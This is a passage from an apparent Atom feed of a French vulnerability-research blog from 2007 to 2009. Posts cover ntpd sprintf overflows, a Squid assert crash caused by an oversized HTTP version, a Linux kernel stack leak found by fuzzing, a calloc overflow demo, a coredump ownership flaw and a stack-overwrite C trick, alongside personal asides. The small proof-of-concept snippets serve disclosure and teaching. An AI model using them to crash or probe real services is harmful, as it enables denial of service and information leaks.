de stack overflows dans ntpd&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La meilleur pour la fin avec ntpd et ses 19 stack overflows potentiellement exploitables. Allez voir le &lt;a href="http://security.freebsd.org/patches/SA-09:11/ntpd.patch"&gt;patch&lt;/a&gt;, ça fait peur. :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;size:10pt;"&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    peer-&gt;flash &amp;= ~TEST8;&lt;br /&gt;    temp32 = cinfo-&gt;nid;&lt;br /&gt;-   sprintf(statstr, "cert %s 0x%x %s (%u) fs %u",&lt;br /&gt;+   snprintf(statstr, NTP_MAXSTRLEN,&lt;br /&gt;+    "cert %s 0x%x %s (%u) fs %u",&lt;br /&gt;     cinfo-&gt;subject, cinfo-&gt;flags,&lt;br /&gt;     OBJ_nid2ln(temp32), temp32,&lt;br /&gt;     ntohl(ep-&gt;fstamp));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, tous ne sont pas exploitables mais quand même. On peut dire ce que l'on veut sur OpenBSD mais c'est pas dans leur code qu'on trouvera ce genre de chose. :-)&lt;br /&gt;&lt;br /&gt;Sur ce, &lt;span style="font-style:italic;"&gt;grep -r "sprintf\(" /usr/src/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8752346988609590750?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8752346988609590750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8752346988609590750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8752346988609590750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8752346988609590750'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/06/je-ne-suis-pas-mort.html' title='Je ne suis pas mort.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-3388651670324001139</id><published>2009-02-26T12:40:00.000-08:00</published><updated>2009-02-26T13:05:37.634-08:00</updated><title type='text'>Détection de moufleurs.</title><content type='html'>Toi aussi, tu en as marre d'embaucher des &lt;a href="http://vulndev.blogspot.com/2009/02/bonjour-je-code-avec-des-moufles.html"&gt;moufleurs&lt;/a&gt; professionnels ? Voici la &lt;a href="http://alien.dowling.edu/~rohit/wiki/index.php?title=C_Programming"&gt;solution&lt;/a&gt;... des questions C bourrées de gros &lt;span style="font-style:italic;"&gt;toupper("poils"[4])&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;À la fin du questionnaire, on a un programme phouny:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;void foo(void);&lt;br /&gt;int main (void)&lt;br /&gt;{        &lt;br /&gt;        int i=2;&lt;br /&gt;        foo();&lt;br /&gt;        printf ("%d\n",i);&lt;br /&gt;        return EXIT_SUCCESS;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void foo(void)&lt;br /&gt;{&lt;br /&gt;    // add code so that printf above prints different value of i (i.e. not 2)&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le but du jeu c'est d'afficher autre chose que 2 rien qu'en ajoutant du codaze dans foo(). Leur réponse est simple:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;No, there is no portable, standard compliant way to modify main's "i" from foo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bon... leur réponse est correcte, si vous devez faire ça dans un vrai projet alors changez de langage de codaze... Mais pour le fun, si jamais vous tombez sur une queston du genre en entretien, vous pouvez dire que c'est possible en parsant la stack depuis foo pour remonter jusqu'a i ou en __asm__ en récupérant l'ebp sauvé sur la pile et en faisant en movl sur (ebp) avec l'offset qui va bien pour tapper dans i. Ces deux solutions sont super dépendantes de l'archi (x86 ici).&lt;br /&gt;&lt;br /&gt;La première solution donne:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;void foo(void);&lt;br /&gt;&lt;br /&gt;int main (void)&lt;br /&gt;{&lt;br /&gt;        int i=2;&lt;br /&gt;        foo();&lt;br /&gt;        printf ("%d\n",i);&lt;br /&gt;        return EXIT_SUCCESS;&lt;br /&gt;}&lt;br /&gt;void foo(void)&lt;br /&gt;{&lt;br /&gt;        int *t = &amp;t + 11;&lt;br /&gt;&lt;br /&gt;        *t = 1337;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;[clem1@toop tmp]$ gcc -o coin coin.c &amp;&amp; ./coin&lt;br /&gt;1337&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;D'autres solutions les barbus ?&lt;br /&gt;&lt;br /&gt;PS: En une semaine je viens de remplir mon quota de billets pour les deux années à venir. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3388651670324001139?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3388651670324001139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3388651670324001139' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3388651670324001139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3388651670324001139'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/02/detection-de-moufleurs.html' title='Détection de moufleurs.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-3900527662437894890</id><published>2009-02-20T10:30:00.000-08:00</published><updated>2009-02-20T10:50:21.942-08:00</updated><title type='text'>Ça fuzz toujours...</title><content type='html'>Barbusses, barbus, bonsoir.&lt;br /&gt;&lt;br /&gt;Y'a quelques jours, un monsieur d'une grosse boite qui assemble des transistors, m'a contacté me demandant où se trouvait le rapport ainsi que le code pondu lors de mon Summer Of Code 2006 sur la sayku des piles IPv6 des OS... Surpris, je lui ai gentillement répondu que j'allais lui fournir le &lt;a href="http://clem1.be/soc2006-freebsdipv6sec.pdf"&gt;ouaraize&lt;/a&gt; quand j'aurais accès à ma vieille babasse piquante sur laquelle se trouve mon ancienne webpage...&lt;br /&gt;&lt;br /&gt;Curieux, je me suis remis à modifier un peu mes &lt;a href="http://clem1.be/lf6"&gt;fuzzers&lt;/a&gt; de l'époque qui m'avait permis de détecter quelques bugs exploitables sous minusk (hein spacemonkey? [0]) et sous *BSD. Après quelques minutes de fuzzage, je suis tombé sur un petit bug intéressant qui permet de dumper 4 bytes de la stack noyau avec un simple getsockopt. Le descriptif se situe &lt;a href="http://lkml.org/lkml/2009/2/12/123"&gt;ici&lt;/a&gt;. En bref, lorsque l'on fait un getsockopt avec un SO_BSDCOMPAT en option, le kernel descend en espace utilisateur une variable locale (un entier) non initialisée.&lt;br /&gt;&lt;br /&gt;C'est une faille de merde mais ça montre que des fuzzers vieux de 3 années peuvent être re-utilisés pour trouver de nouvelles failles dans un code qui évolue tous les jours (noyau minusk). Je suis sûr qu'il doit en y avoir pleins d'autres du même genre avec des ioctls par exemple. ;-)&lt;br /&gt;&lt;br /&gt;En fait, je ne savais pas mais mes joujous semblent &lt;a href="http://kerneltrap.org/index.php?q=mailarchive/linux-netdev/2009/1/1/4571814"&gt;bien&lt;/a&gt; &lt;a href="http://kerneltrap.org/index.php?q=mailarchive/linux-netdev/2008/4/27/1617344/thread"&gt;servir&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Voilà, posté après le boulot [1], bon week-end, #@!&lt;br /&gt;&lt;br /&gt;[0] Si, par malheur, tu lis ses lignes, bein j'espère que tu vas bien.&lt;br /&gt;[1] Parce que y'en a qui surveille... ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3900527662437894890?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3900527662437894890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3900527662437894890' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3900527662437894890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3900527662437894890'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/02/ca-fuzz-toujours.html' title='Ça fuzz toujours...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8424247443288775595</id><published>2009-02-12T00:41:00.000-08:00</published><updated>2009-02-12T02:29:23.003-08:00</updated><title type='text'>Bonjour, je code avec des moufles.</title><content type='html'>Hello les moulasses,&lt;br /&gt;&lt;br /&gt;Aujourd'hui on va causer des moufleurs... des gens qui codent avec des moufles.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Squid.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Chez squid, ils ont des moufleurs professionnels qui laissent des asserts dans le code qui sont basés sur des variables qui sont indirectement controlables par l'utilisateur (entête HTTP de réponse du serveur HTTP).&lt;br /&gt;&lt;br /&gt;Tout se passe dans la récupération des numéros de version du protocole HTTP dans la réponse du serveur (HTTP/1.0 200 OK)... Voici le snippet pour la récupération de la version majeure:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;162      int i = 0;&lt;br /&gt;163      int retcode;&lt;br /&gt;164      int maj = -1, min = -1;&lt;br /&gt;(...)&lt;br /&gt;257              /* next should be 1 or more digits */&lt;br /&gt;258              maj = 0;&lt;br /&gt;259              for (; i &lt; hmsg-&gt;req_end &amp;&amp; (xisdigit(hmsg-&gt;buf[i])); i++) {&lt;br /&gt;260                  maj = maj * 10;&lt;br /&gt;261                  maj = maj + (hmsg-&gt;buf[i]) - '0';&lt;br /&gt;262              }&lt;br /&gt;(...)&lt;br /&gt;296      assert(maj != -1);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Comme maj est déclaré en signed int, nous pouvons mettre une grosse valeur dans la version HTTP pour, qu'après la boucle, maj soit égale à -1 et que ça assert en beauté. Taddam.&lt;br /&gt;&lt;br /&gt;C'est la même chose pour la récupération du la version mineure. C'est la classe les asserts en prod. \o/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Wireshark.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;*privatejoke* "Vous connaissez wireshark ? C'est un outil très puissant." *privatejoke*&lt;br /&gt;&lt;br /&gt;Chez wireshark, ils ont aussi de belles petites &lt;a href="https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=3150"&gt;moufles&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Banzaï !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8424247443288775595?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8424247443288775595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8424247443288775595' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8424247443288775595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8424247443288775595'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/02/bonjour-je-code-avec-des-moufles.html' title='Bonjour, je code avec des moufles.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-172773451506244173</id><published>2008-12-02T00:21:00.000-08:00</published><updated>2008-12-02T04:43:23.085-08:00</updated><title type='text'>Moi à ma maison, je patche mes int. overflow avec calloc.</title><content type='html'>Pouette les moulasses,&lt;br /&gt;&lt;br /&gt;Je resors de ma Tombe.java pour mettre en valeur un super patch bien moisi from VLC. :)&lt;br /&gt;&lt;br /&gt;http://git.videolan.org/?p=vlc.git;a=commitdiff;h=d19de4e9f2211cbe5bde00726b66c47a424f4e07&lt;br /&gt;&lt;br /&gt;Depuis quand calloc() *DOIT* checker les integer overflows? Minusk et FreeBSD le font avec dmalloc et jemalloc mais pas phkmalloc (d'après mes souvenirs).&lt;br /&gt;&lt;br /&gt;Qu'est-ce qui se passe si i_index_count est à 0xFFFFFFFF ? Sbam ?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;int main(int ac, char **av)&lt;br /&gt;{&lt;br /&gt;        size_t index = 0xFFFFFFFF;&lt;br /&gt;&lt;br /&gt;        char *coin = calloc(index + 1, sizeof(int));&lt;br /&gt;        char *coinn = malloc((index + 1) * sizeof(int));&lt;br /&gt;&lt;br /&gt;        printf("%p\n", coin);&lt;br /&gt;        printf("%p\n", coinn);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK avec 0x7FFFFFFF ou 0x80000000.&lt;br /&gt;&lt;br /&gt;Humpf. Faut qu'on m'explique ?&lt;br /&gt;&lt;br /&gt;UPDATE: Ah bein le patch vient d'être mieux à &lt;a href="http://git.videolan.org/?p=vlc.git;a=blobdiff;f=modules/demux/real.c;h=cfadef237c3c8575ed198041bf9d3c5264fe7eef;hp=ddfb64de0371797f6bf03fb531f33a3ad381539b;hb=4bc422b0de26c38e70b87f63ee3391d6b6322ac5;hpb=a8e4f023de1a34120100dca59416a9ab5c3560f0"&gt;jour&lt;/a&gt;. Saymieux.&lt;br /&gt;&lt;br /&gt;PS: clem1.be devient provisoirement (jusqu'au 20 décembre) clem1.prout.be.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-172773451506244173?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/172773451506244173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=172773451506244173' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/172773451506244173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/172773451506244173'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2008/12/moi-ma-maison-je-patche-mes-int.html' title='Moi à ma maison, je patche mes int. overflow avec calloc.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7863252928714027794</id><published>2007-12-06T05:07:00.000-08:00</published><updated>2007-12-06T05:32:57.386-08:00</updated><title type='text'>CRACHE PAS DANS MON COREDUMP #@!</title><content type='html'>3 ans et 2 mois...&lt;br /&gt;&lt;br /&gt;C'est le temps qu'il a fallu aux jardiniers du kernel linux pour corriger une fichue &lt;a href="http://secunia.com/advisories/27908/"&gt;faille&lt;/a&gt; de sayku sur la génération des coredumps. « BEIN OUAIS LINUX SAY SAYKURE »&lt;br /&gt;&lt;br /&gt;Explication avec un exemple àlakon:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(clem1@clem1:/tmp)$ ./haha coin&lt;br /&gt;Erreur de segmentation (core dumped)&lt;br /&gt;(clem1@clem1:/tmp)$ strings core | grep coin&lt;br /&gt;./haha coin &lt;br /&gt;(clem1@clem1:/tmp)$ ls -alh core &lt;br /&gt;-rw------- 1 &lt;span style="font-weight:bold;"&gt;clem1 clem1&lt;/span&gt; 140K 2007-12-06 14:16 core&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(clem1@clem1:/tmp)$ su&lt;br /&gt;clem1:/tmp# ./haha phucklinusk&lt;br /&gt;Erreur de segmentation (core dumped)&lt;br /&gt;clem1:/tmp# ls -alh core &lt;br /&gt;-rw------- 1 &lt;span style="font-weight:bold;text-color:red;"&gt;clem1 clem1&lt;/span&gt; 140K 2007-12-06 14:17 core&lt;br /&gt;clem1:/tmp# exit&lt;br /&gt;exit&lt;br /&gt;(clem1@clem1:/tmp)$ strings core | grep linusk&lt;br /&gt;./haha phucklinusk &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bon OK, c'est une faille moisie mais bon le patch est trivial (plus de commentaires que de codaje) et je ne comprend pas pourquoi ils ont mis 3 ans pour la corriger.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;if (inode-&gt;i_uid != current-&gt;fsuid)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;goto close_fail;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Elle a été corrigée dans la dernière RC du 2.6.24... et pour les workarounds moisis c'est par &lt;a href⁼"http://www.sinz.org/Michael.Sinz/Linux/core.html"&gt;là&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;clem1:/tmp# echo 1 &gt; /proc/sys/kernel/core_uses_pid&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ou mieux&lt;br /&gt;&lt;br /&gt;clem1:/tmp# echo "/cores/%N/%H.core.%P" &gt; /proc/sys/kernel/core_name_format&lt;br /&gt;&lt;br /&gt;Il est a noté que FreeBSD est également vulnérable et que la faille a été reportée au même moment que celle dans minusk...&lt;br /&gt;&lt;br /&gt;Ceci était un billet àlakon (pour pas changer) pour signaler que j'étais toujours en vie... vive les parisiens.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7863252928714027794?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7863252928714027794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7863252928714027794' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7863252928714027794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7863252928714027794'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/12/crache-pas-dans-mon-coredump.html' title='CRACHE PAS DANS MON COREDUMP #@!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-1827771127286443674</id><published>2007-10-11T09:45:00.000-07:00</published><updated>2007-10-11T11:17:43.267-07:00</updated><title type='text'>Nain Génieur du 2000</title><content type='html'>Bonsoir les moulasses [0],&lt;br /&gt;&lt;br /&gt;Y'a des jeudis après-midi où on ne sait pas quoi faire (c'est rare) et où on se dit, « tient et si je postais un billet à la con sur mon pseudo-blog histoire de dire que je suis encore là même un mois après une rentrée à &lt;a href="http://ingenieurs2000.com"&gt;NainGénieur2000&lt;/a&gt; où on nous a dit qu'on deviendrait des larves à bosser au lieu de dormir [1]. »&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vive le Nord.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Aurevoir les vaches deuchnord, bonsoir celles de Paris [2]. :-)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nain Génieur 2000.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Premier mois de vacances à l'école, on a appris à dessiner des bonhommes avec des * en C, on a appris à faire des hello $1 en babash, on a appris que « DNS servait à résoudre des *URLs* », que les « RR MX n'étaient plus utilisés », on a disserté pendant 6 heures de cours sur « Est-ce que notre vie est une base de donnée? »...&lt;br /&gt;&lt;br /&gt;Tout comme mon keupinge sbeuze, je me suis fais insulter^Wgeekiser (HANLEGRUIK) dessus par les *classmates* qui sont les premiers à sortir le portable avec saleOS (TULULULULU) pour faire un bomberman en rezal, la PSP pour faire du virtual tennis, pour matter des monsters^Wfilles sur skyblork et toussa dès qu'on a une pause de 30 secondes.&lt;br /&gt;&lt;br /&gt;Sinon je viens d'apprendre que l'école change de nom pour un nom moins clownesque qui fait peur et qui veut rien dire... Moi qui voulait avoir un NainGénieur2000 sur mon CV, dois-je démissionner?&lt;br /&gt;&lt;br /&gt;Sinon à part ça, rien de sérieux, désolé si vous vous êtes pris la peine de lire mes conneries jusqu'au bout en espérant avoir du prosels vers la fin. Bon allez des trucs en vracage quand même:&lt;br /&gt;&lt;br /&gt; - une &lt;a href="http://clem1.be/pub/hamming.c"&gt;implémentation&lt;/a&gt; en mousse trouée du code de hamming.&lt;br /&gt; - des bons petits &lt;a href="http://www.discmath.ulg.ac.be/cours/"&gt;cours&lt;/a&gt; bien poilus made in belgium (pour de vrai #@!)&lt;br /&gt; - &lt;a href="http://www.limsi.fr/Individu/pointal/python.html"&gt;pleins&lt;/a&gt; de prosels mythonesque.&lt;br /&gt; - &lt;a href="http://www.usenix.org/events/woot07/tech/full_papers/"&gt;wootz&lt;/a&gt; usenix2007 saysayku.&lt;br /&gt; - &lt;a href="http://uninformed.org"&gt;uninformed&lt;/a&gt; dans ma TODOREAD.&lt;br /&gt;&lt;br /&gt;AtchaoBonsoir.&lt;br /&gt;&lt;br /&gt;[0] L'utilisation du singulier aurait été plus appropriée. ;-)&lt;br /&gt;[1] ou tout autre activé nocture.&lt;br /&gt;[2] bonsoir à ma voisine qui ne passera jamais ici, merci pour le mifi.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-1827771127286443674?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/1827771127286443674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=1827771127286443674' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1827771127286443674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1827771127286443674'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/10/nain-gnieur-du-2000.html' title='Nain Génieur du 2000'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-2856966288802736845</id><published>2007-08-25T03:09:00.000-07:00</published><updated>2007-08-25T04:08:05.500-07:00</updated><title type='text'>rand() &amp; 0x7</title><content type='html'>Bonsoir les moules,&lt;br /&gt;&lt;br /&gt;Je suis en vacances, il pleut, ma TODOLIST est *presque* vide, que fait-on? On &lt;del&gt;parcourt la skyblogosphère et on lache des coms'&lt;/del&gt; poste un billet bourré de prosels plus &lt;del&gt;ou moins&lt;/del&gt; inutiles sur son pseudo-blog...&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Commençons par le plus intéressant... ma vie.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;- NAPUSTAGE.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Eh oui, mon stage chez les barbus s'est terminé le Vendredi 3 août à 18H01. C'était sympa... j'ai appris pas mal de nouvelles choses (techniquement parlant, humouristiquement parlant, humainement parlant et toussa). Je suis donc en vacances depuis ce jour et quand je suis sur le PC [0], je passe mon temps à faire des missions codaze que je trouve sur des sites comme codeur.com, progonline.com, rentacoder.com, odesk.com... OK, y'a pleins de projets ouaib20, CECHARPE, JavaMoisi, PAYHACHEPAY mais parfois on peut tomber sur le serpent de Guido.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;- GRANDMOISY.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;HopHop, j'ai trouvé un appartement grace à M. sbaize du nokia N800 (MERCI). Il se trouve à Noisy-Le-Grand (NEUFTROIS BÉBÉ) et est situé à 5 minutes de l'université et à une minute du RER-A donc pince à tétons. Je serais officiellement un monsieur du 2000 le 17 Septembre à 9H00. :-)&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Maintenant, le prosel de l'été 2007&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;- MERCISTAGE.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Eh oui, en plus du peignage de girafes intensif, j'ai découvert des trucs convives lors de mon périple à machinASQ.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://rubber.sf.net"&gt;rubber&lt;/a&gt; pour les semi-allergiques au LaTeX (conversion des images en EPS, deux compilations pour le prix d'une, compression, ...).&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://dblatex.sf.net"&gt;dblatex&lt;/a&gt; pour ceux qui ont honte de faire du DocBook.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://pida.co.uk"&gt;pida&lt;/a&gt; un IDE en python qui utilise *TES* joujous.&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://software.schmorp.de/pkg/rxvt-unicode.html"&gt;rxvt-unicode&lt;/a&gt; pour avoir des TABS avec du TEFTEF8.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;- BLACK.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Les papiers defconblackhat sont en lignes un peu partout. Le papier sur les Dangling Pointers (cf. billet précédent) est orienté vers l'objet et le C++ mais les principes sont en gros les mêmes que ceux expliqués dans mon billet. J'ai regardé les autres papiers mais il n'y a rien de faramineux (ai-je loupé un truc?).&lt;br /&gt;&lt;br /&gt; &lt;b&gt;- MYTHON &lt;3&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://trific.ath.cx/resources/python/optimization/"&gt;Enlarge&lt;/a&gt; your pynis.&lt;br /&gt;&lt;a href="http://cherrypy.org/"&gt;Miam&lt;/a&gt;Miam les cerises.&lt;br /&gt;&lt;a href="http://www.crummy.com/software/BeautifulSoup/"&gt;Parse&lt;/a&gt; the wwworld padawan.&lt;br /&gt;&lt;br /&gt;*BANZAIIIIII*&lt;br /&gt;&lt;br /&gt;*PUPUPUB* Bientôt sur vos écrans, des challenges de vuln-dev à la 0xBADC0DED.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0] vive les beaufs, vive le Nord, vive la pluie.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-2856966288802736845?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/2856966288802736845/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=2856966288802736845' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2856966288802736845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2856966288802736845'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/08/rand-0x7.html' title='rand() &amp; 0x7'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-1905885198134523077</id><published>2007-07-27T12:32:00.000-07:00</published><updated>2007-07-29T03:11:10.080-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><title type='text'>Aujourd'hui, le balancement de pointeur...</title><content type='html'>Messieurs &lt;del&gt;dames&lt;/del&gt;,&lt;br /&gt;&lt;br /&gt;Le &lt;a href="http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html"&gt;programme&lt;/a&gt; de la blackhat[1] vient d'être laché dans la jungle. Au programme, du réréréchauffé bien sûr, du *yeah* j'ai trouvé un remote root dans puffy... et les DANGLING POINTERS de monsieur Jonathan Afek.&lt;br /&gt;&lt;br /&gt;Ça fait classouille devant les gonzes de parler de dangling pointers mais c'est quoi? Bein c'est tout simplement un pointeur non-initialisé ou "plus valide" (ej. après un free)... je pense qu'il peut remballer ces expressions barbares le monsieur.&lt;br /&gt;&lt;br /&gt;Qu'est-ce qu'il va présenter sur ces pointeurs un 